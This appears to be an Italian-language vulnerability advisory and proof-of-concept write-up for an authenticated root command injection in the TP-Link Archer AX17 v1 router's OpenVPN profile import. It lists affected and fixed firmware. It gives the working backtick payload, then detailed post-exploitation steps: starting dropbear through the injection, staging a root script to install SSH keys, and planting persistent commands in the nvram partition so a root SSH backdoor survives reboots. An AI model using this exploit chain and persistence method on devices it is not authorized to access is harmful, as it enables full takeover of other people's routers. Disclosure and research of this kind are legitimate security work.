
Iniezione di comandi OS autenticata nell'importazione del client VPN di TP-Link Archer AX17 v1.
Iniezione di comandi OS autenticata nell'importazione del client VPN di Archer AX17 v1.
Un amministratore sulla LAN importa un profilo client OpenVPN. La descrizione del profilo viene memorizzata come nome file /etc/openvpn/<des>.ovpn. La lettura di quel profilo scrive il percorso in /tmp/ovpn_curr_edit. La successiva scrittura VPN, senza alcun upload preparato, passa quel percorso senza virgolette a grep e sed, che il web server esegue come root.
Il filtro della descrizione rifiuta /, ;, | e gli spazi, e mantiene la stringa entro 64 caratteri. I backtick passano, quindi il payload è S`sleep${IFS}1`. ${IFS} è il modo in cui il comando ottiene il suo spazio.
| Affected | Archer AX17 v1, firmware 1.1.28 P1 [20250523-rel65103], e build precedenti alla correzione |
| Fixed | 1.5.0 Build 20260605 |
| Access | Sessione admin sulla LAN. Non raggiungibile prima del login. |
| Impact | Esecuzione di comandi come root |
poc.js.await poc(0), poi await poc(1).poc(0) ritorna in poche centinaia di millisecondi. poc(1) impiega circa un secondo in più. Quel divario è sleep 1 in esecuzione come root. Lo script elimina il profilo che ha creato.
Testato su 1.1.28. poc(1) è stato di 1238 ms, poc(3) 3504 ms, poc(7) 7204 ms, contro un controllo di 324 ms.
L'iniezione viene eseguita come root, quindi può avviare dropbear. Due cose contano in questa build:
-L ("Enable SSH session login") è necessario. Senza di esso dropbear autentica e poi risponde a ogni richiesta di shell con exec request failed./etc è un ramfs. rc.local, /etc/shadow e /etc/dropbear/authorized_keys vengono ricostruiti dal squashfs a ogni avvio. Solo le partizioni nvram persistono.Questo lo divide in un metodo temporaneo e uno permanente.
ssh-temp.js ha due chiamate:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() avvia dropbear in modalità account web. Accedi con la password admin del router:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Quella shell è uid 1000 (admin), non root, e non può scrivere in /etc. Per escalare, prepara ssh-root.sh in /tmp/r tramite essa:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Poi chiama runStaged('r') dalla console. L'iniezione esegue lo script come uid 0, scrive /etc/dropbear/authorized_keys e avvia dropbear -L -p 2227. (runStaged costruisce /tmp/<name> da ${PWD%www} perché la directory di lavoro del backend web è /www.) Connettiti:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Questo sopravvive fino al riavvio successivo.
Esegui ssh-persist.sh come root (ad esempio tramite la shell root temporanea). Aggiunge un rc.local alla partizione nvram profile. S10boot ripristina quella partizione in /etc prima che S95done esegua /etc/rc.local, quindi i comandi vengono eseguiti a ogni avvio.
La partizione è un XML uci cifrato e orientato alle righe. <dir> crea /etc/<dir>, <file> crea /etc/<dir>/<file>, e un nome di tag viene scritto verbatim dopo option . Un tag che inizia con ; finisce quindi in rc.local come
option ;<command> # 'x'
che esegue <command> come root. Lo script preserva il blocco profile.d del vendor e scrive:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
Dopo un riavvio, l'SSH root è sulla porta 22 con la stessa chiave. Esegui prima il backup della partizione; lo script stampa il percorso del backup e il comando di ripristino.
Nota: chpasswd non esiste su questo firmware. Non provare a impostare una password root con esso; usa authorized_keys (come sopra) o passwd.